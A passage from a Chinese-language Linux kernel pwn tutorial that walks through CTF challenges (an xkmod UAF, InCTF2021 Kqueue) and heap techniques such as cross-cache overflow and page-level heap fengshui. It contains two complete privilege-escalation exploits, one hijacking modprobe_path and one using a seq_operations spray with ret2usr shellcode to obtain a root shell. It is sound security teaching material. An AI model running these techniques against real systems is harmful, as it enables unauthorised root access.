接下来我们考虑如何泄露内核基址,虽然题目新建的 kmem_cache 会默认与 kmalloc-192 合并,但为了尊重出题人我们还是将其当作一个独立的 kmem_cache 来完成利用(笑)

在内核“堆基址”(page_offset_base) + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去猜测堆的基址,之后分配到一个 堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配

若是没有猜中,笔者认为直接重试即可,但这里需要注意的是我们不能够直接退出,而应当保留原进程的文件描述符打开,否则会在退出进程时触发 slub 的 double free 检测,不过经笔者测验大部分情况下都能够猜中堆基址

Step.III - 修改 modprobe_path 以 root 执行程序

接下来我们考虑如何通过任意地址写完成利用,比较常规的做法是覆写内核中的一些全局的可写的函数表(例如 n_tty_ops)来劫持内核执行流,这里笔者选择覆写 modprobe_path 从而以 root 执行程序

当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:

1
2
3
4
5
6
7
8
9
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_module
call_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c,我们主要关注这部分代码(以下来着内核源码5.14):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int call_modprobe(char *module_name, int wait)
{
//...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...

在这里调用了函数 call_usermodehelper_exec()modprobe_path 作为可执行文件路径以 root 权限将其执行,这个地址上默认存储的值为/sbin/modprobe

我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本

③ FINAL EXPLOIT

最后的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH 0xffffffff82444700

struct Data
{
size_t *ptr;
unsigned int offset;
unsigned int length;
};

#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";

/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void allocBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x1111111, data);
}

void editBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x6666666, data);
}

void readBuf(int dev_fd, struct Data *data)
{
ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
int dev_fd[5], root_script_fd, flag_fd;
size_t kernel_heap_leak, kernel_text_leak;
size_t kernel_base, kernel_offset, page_offset_base;
char flag[0x100];
struct Data data;

/* fundamental works */
bindCore(0);

for (int i = 0; i < 5; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}

/* create fake modprobe_path file */
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);

/* construct UAF */
data.ptr = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.ptr, 0, 0x1000);

allocBuf(dev_fd[0], &data);
editBuf(dev_fd[0], &data);
close(dev_fd[0]);

/* leak kernel heap addr and guess the page_offset_base */
readBuf(dev_fd[1], &data);
kernel_heap_leak = data.ptr[0];
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;

printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);

/* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
puts("[*] leaking kernel base...");

data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
data.offset = 0;
data.length = 8;

editBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);
allocBuf(dev_fd[1], &data);

data.length = 0x40;
readBuf(dev_fd[1], &data);
if ((data.ptr[2] & 0xfff) != 0x30) {
printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
}

kernel_base = data.ptr[2] - 0x30;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);

/* hijack the modprobe_path, we'll let it requesting new slub page for it */
puts("[*] hijacking modprobe_path...");

allocBuf(dev_fd[1], &data);
close(dev_fd[1]);

data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
data.offset = 0;
data.length = 0x8;

editBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);
allocBuf(dev_fd[2], &data);

strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
data.length = 0x30;
editBuf(dev_fd[2], &data);

/* trigger the fake modprobe_path */
puts("[*] trigerring fake modprobe_path...");

system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");

/* read flag */
memset(flag, 0, sizeof(flag));

flag_fd = open("/flag", O_RDWR);
if (flag_fd < 0) {
errExit("failed to chmod flag!");
}

read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);

return 0;
}

运行即可获得 flag,不过在推测 page_offset_base 地址时有一定概率失败:

image.png

bypass Slab Freelist Hardened

类似于用户态下 glibc 中的 safe-linking 机制,在内核中的 slab/slub 分配器当中也存在着类似的机制保护着 freelist—— SLAB_FREELIST_HARDENED

对于 freelist 中存储的 object,其 fd 所存储的值为current object addr 与 next object addr 与 slub cookie这三个值异或所得的值(高版本内核似乎还有个移位),这要求我们在构造任意地址写时需要同时知道这三个值才能通过内核中的检测

在编译内核时在 .config 中添加编译选项 CONFIG_SLAB_FREELIST_HARDENED=y 即可开启这种加固机制(目前新版内核似乎默认开启)

例题:强网杯2021线上赛 - notebook

0x08.Kernel Heap - Heap Overflow

溢出(Overflow)向来都是最为经典、也是最为常见的一种漏洞,此前我们已经接触了位于内核栈上的溢出漏洞,接下来我们开始深入内核动态内存区上的溢出漏洞

例题:InCTF2021 - Kqueue

据说 InCTF 国际赛为印度的“强网杯”…

原题下载地址在这里,本篇 wp 参照了 Scupax0s 师傅的 WP

这道题的文件系统用 Buildroot 进行构建,登入用户名为 ctf,密码为 kqueue,笔者找了半天才在官方 GitHub 里的 Admin 中打远程用的脚本找到的这个信息…

还有个原因不明的问题,本地重打包后运行根目录下 init 时的 euid 为 1000,笔者只好拉一个别的 kernel pwn 的文件系统过来暂时顶用…

① 保护分析

查看启动脚本,只开启了 kaslr 保护,没开 KPTI 也没开 smap&smep,还是给了我们 ret2usr 的机会的

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-net user \
-net nic

② 源码分析

题目给出了源代码,免去了我们逆向的麻烦

但有的时候给出源码反而会增大解题难度,比如说 *CTF2021 的 babygame C++ PWN能不能爪巴

kqueue.h 中只定义了一个 ioctl 函数

1
2
static long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static struct file_operations kqueue_fops = {.unlocked_ioctl = kqueue_ioctl};

ioctl 的函数定义位于 kqueue.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

long result;

request_t request;

mutex_lock(&operations_lock);

if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}

switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}

我们要传入的结构体应当为 request_t 类型,如下:

1
2
3
4
5
6
7
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

在 ioctl 中定义了比较经典的增删改查操纵,下面逐个分析

*err

笔者发现在其定义的一系列函数当中都有一系列的检查,若检查不通过则会调用 err 函数,如下:

1
2
3
4
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}

也就是说所有的检查没有任何的实际意义,哪怕不通过检查也不会阻碍程序的运行,经笔者实测确乎如此

create_kqueue

主要是进行队列的创建,限制了队列数量与大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
static noinline long create_kqueue(request_t request){
long result = INVALID;

if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");

/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");

/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");

/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;

/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");

/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");

/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");

/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;

/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;

uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;

/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}

/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}

if(j>MAX_QUEUES)
err("[-] No kqueue slot left");

/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}

其中一个 queue 结构体定义如下,大小为 0x18:

1
2
3
4
5
6
7
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;

我们有一个全局指针数组保存分配的 queue

1
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};

在这里用到了 gcc 内置函数 __builtin_umulll_overflow,主要作用就是将前两个参数相乘给到第三个参数,发生溢出则返回 true,__builtin_saddll_overflow 与之类似不过是加法

那么这里虽然 queue 结构体的成员数量似乎是固定的,但是在 kmalloc 时传入的 size 为 ((request.max_entry + 1) * sizeof(queue_entry)) + sizeof(queue),其剩余的空间用作 queue_entry 结构体,定义如下:

1
2
3
4
5
struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};

在这里存在一个整型溢出漏洞:如果在 __builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) 中我们传入的 request.max_entries0xffffffff,加一后变为0,此时便能通过检测,但 space 最终的结果为0,从而在后续进行 kmalloc 时便只分配了一个 queue 的大小,但是存放到 queue 的 max_entries 域的值为 request.max_entries

1
2
3
queue->data_size   = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;

这里有一个移动指针的代码看得笔者比较疑惑,因为在笔者看来可以直接写作 (queue_entry *)(queue + 1)不过阿三的代码懂的都懂

1
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

在分配 queue->data 时给 kmalloc 传入的大小为 request.data_size,限制为 0x20

1
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

接下来会为每一个 queue_entry 的 data 域都分配一块内存,大小为 request.data_size,且 queue_entry 从低地址向高地址连接成一个单向链表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;

/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}

在最后会在 kqueue 数组中找一个空的位置把分配的 queue 指针放进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}

if(j>MAX_QUEUES)
err("[-] No kqueue slot left");

/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;

delete_kqueue

常规的删除功能,不过这里有个 bug 是先释放后再清零,笔者认为会把 free object 的next 指针给清掉,有可能导致内存泄漏?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");

/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");

kfree(queue);
memset(queue,0,queue->queue_size);
kqueues[request.queue_idx] = NULL;
return 0;
}

edit_kqueue

主要是从用户空间拷贝数据到指定 queue_entry->size,如果给的 entry_idx为 0 则拷到 queue->data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static noinline long edit_kqueue(request_t request){
/* Check the idx of the kqueue */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");

/* Check if the kqueue exists at that idx */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] kqueue does not exist");

/* Check the idx of the kqueue entry */
if(request.entry_idx > queue->max_entries)
err("[-] Invalid kqueue entry_idx");

/* Get to the kqueue entry memory */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

/* Check for the existence of the kqueue entry */
exists = false;
uint32_t i=1;
for(i=1;i<queue->max_entries+1;i++){

/* If kqueue entry found , do the necessary */
if(kqueue_entry && request.data && queue->data_size){
if(kqueue_entry->idx == request.entry_idx){
validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
exists = true;
}
}
kqueue_entry = kqueue_entry->next;
}

/* What if the idx is 0, it means we have to update the main kqueue's data */
if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
validate(memcpy(queue->data,request.data,queue->data_size));
return 0;
}

if(!exists)
return NOT_EXISTS;
return 0;
}

save_kqueue_entries

这个功能主要是分配一块现有 queue->queue_size 大小的 object 然后把 queue->data 与其所有 queue_entries->data 的内容拷贝到上边,而其每次拷贝的字节数用的是我们传入的 request.data_size ,在这里很明显存在堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
static noinline long save_kqueue_entries(request_t request){

/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");

/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");

queue *queue = validate(kqueues[request.queue_idx]);

/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");

/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));

/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");

/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;

/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}

/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}

这里有个全局数组标识一个 queue 是否 saved 了

1
bool isSaved[MAX_QUEUES] = {false};

③ 漏洞利用

Step I.整数溢出

考虑到在 create_queue 中使用 request.max_entries + 1 来进行判定,因此我们可以传入 0xffffffff 使得其只分配一个 queue 和一个 data 而不分配 queue_entry的同时使得 queue->max_entries = 0xffffffff,此时我们的 queue->queue_size 便为 0x18

Step II.堆溢出 + 堆喷射覆写 seq_operations 控制内核执行流

前面我们说到在 save_kqueue_entries() 中存在着堆溢出,而在该函数中分配的 object 大小为 queue->queue_size,即 0x18,应当从 kmalloc-32 中取,那么我们来考虑在该 slab 中可用的结构体

不难想到的是,seq_operations 这个结构体同样从 kmalloc-32 中分配,当我们打开一个 stat 文件时(如 /proc/self/stat )便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read_iter() 函数,定义于 fs/seq_file.c 中,注意到有如下逻辑:

1
2
3
4
5
6
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...

即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流

那么我们如何保证一定能够溢出到一个 seq_operations 呢?虽然说对于开启了 random freelist 保护(默认开启)的 kernel 而言我们无法直接得知分配的 object 对应的内存布局(glibc这一点就做得很好,平整的内存布局可以让👴直接知道 Pwn 题里分配的每一个 chunk 的位置),但我们可以使用堆喷射的手法在内核空间喷射足够多的 seq_operations 结构体布满 vulnerable object 所在的内存附近区域,从而保证我们能够溢出到其中之一

Step III.ret2usr + ret2shellcode

由于没有开启 smep、smap、kpti,故 ret2usr 的攻击手法在本题中是可行的,但是由于开启了 kaslr 的缘故,我们并不知道 prepare_kernel_cred 和 commit_creds 的地址,似乎无法直接执行 commit_creds(prepare_kernel_cred(NULL))

这里 ScuPax0s 师傅给出了一个美妙的解法:通过编写 shellcode 在内核栈上找恰当的数据以获得内核基址,执行commit_creds(prepare_kernel_cred(NULL)) 并返回到用户态

③ Final Exploit

故最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>

typedef struct
{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

long dev_fd;
size_t root_rip;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void createQueue(uint32_t max_entries, uint16_t data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xDEADC0DE, &req);
}

void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd, 0xDAADEEEE, &req);
}

void deleteQueue(uint16_t queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd, 0xBADDCAFE, &req);
}

void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xB105BABE, &req);
}

void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"
);
}

int main(int argc, char **argv, char**envp)
{
long seq_fd[0x200];
size_t *page;
size_t data[0x20];

saveStatus();
root_rip = (size_t) getRootShell;
dev_fd = open("/dev/kqueue", O_RDONLY);
if (dev_fd < 0)
errExit("FAILED to open the dev!");

for (int i = 0; i < 0x20; i++)
data[i] = (size_t) shellcode;

createQueue(0xffffffff, 0x20 * 8);
editQueue(0, 0, data);
for (int i = 0; i < 0x200; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
saveQueue(0, 0, 0x40);
for (int i = 0; i < 0x200; i++)
read(seq_fd[i], data, 1);
}

运行即可提权到 root

image.png

Hardened Usercopy

Off by One

off-by-one 算是堆溢出里面比较特殊的类型,这里笔者其实是将这一类仅溢出少数字节的堆溢出统称 off-by-one,溢出的不一定只是单个字节,不过比较常见的就是溢出一两个字节,若溢出单个 \x00 字节则称为 off-by-null(比如说在拷贝字符串时容易出现这个问题)

例题:corCTF2022 - corjail

🕊🕊🕊

0x09. Kernel Heap - Cross-Cache Overflow & Page-level Heap Fengshui

注:这是两种联合起来的利用手法

Cross-Cache Overflow

与我们此前一直关注于 slub allocator 的各种利用手法不同,Cross-Cache Overflow 实际上是针对 buddy system 的利用手法,其主要基于如下思路:

  • slub allocator 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者
    • → 内存中用作不同 kmem_cache 的页面在内存上是有可能相邻的
  • 若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A、B两页面相邻,则我们便有可能实现跨越不同 kmem_cache 之间的堆溢出

cross-cache overflow.png

Cross-Cache Overflow 打破了不同 kmem_cache 之间的阻碍,可以让我们的溢出漏洞对近乎任意的内核结构体进行覆写

但这需要达成非常严苛的页级堆排布,而内核的堆页面布局对我们而言通常是未知的,因此我们需要想办法将其变为已知的内存布局,这就需要页级堆风水——

Page-level Heap Fengshui

顾名思义,页级堆风水即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布

首先让我们重新审视 slub allocator 向 buddy system 请求页面的过程,当 freelist page 已经耗空且 partial 链表也为空时(或者 kmem_cache 刚刚创建后进行第一次分配时),其会向 buddy system 申请页面:

image.png

接下来让我们重新审视 buddy system ,其基本原理就是以 2 的 order 次幂张内存页作为分配粒度,相同 order 间空闲页面构成双向链表,当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半,其中一半挂回当前请求 order 链表,另一半返还给上层调用者;下图为以 order 2 为例的 buddy system 页面分配基本原理:

page.gif

我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页是物理连续的,由此我们可以:

  • 向 buddy system 请求两份连续的内存页
  • 释放其中一份内存页,在 vulnerable kmem_cache 上堆喷,让其取走这份内存页
  • 释放另一份内存页,在 victim kmem_cache 上堆喷,让其取走这份内存页

此时我们便有可能溢出到其他的内核结构体上,从而完成 cross-cache overflow

使用 setsockopt 与 pgv 完成页级内存占位与堆风水

那么我们该如何完成这样的页占位与页排布呢?笔者这里给出一个来自于 CVE-2017-7308 的方案:

当我们创建一个 protocol 为 PF_PACKET 的 socket 之后,先调用 setsockopt()PACKET_VERSION 设为 TPACKET_V1 / TPACKET_V2,再调用 setsockopt() 提交一个 PACKET_TX_RING ,此时便存在如下调用链:

1
2
3
4
5
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()

alloc_pg_vec() 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2order 张内存页,其中 ordertp_block_size 决定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;

pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;

for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}

out:
return pg_vec;

out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}

alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:

1
2
3
4
5
6
7
8
9
10
11
static char *alloc_one_pg_vec_page(unsigned long order)
{
char *buffer;
gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |
__GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;

buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
//...
}

相应地, pgv 中的页面也会在 socket 被关闭后释放:

1
2
3
packet_release()
packet_set_ring()
free_pg_vec()

setsockopt() 也可以帮助我们完成页级堆风水,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 setsockopt() 便相当于获取到了一块近乎物理连续的内存(为什么是”近乎连续“是因为大量的 setsockopt() 流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)

例题:corCTF2022 - cache-of-castaways

官方 writeup 见此处

① 题目分析

题目文件连 kconfig 都给了,笔者表示非常感动:

1
2
3
4
5
6
7
8
$ tree .
.
├── bzImage
├── initramfs.cpio.gz
├── kconfig
└── run

0 directories, 4 files

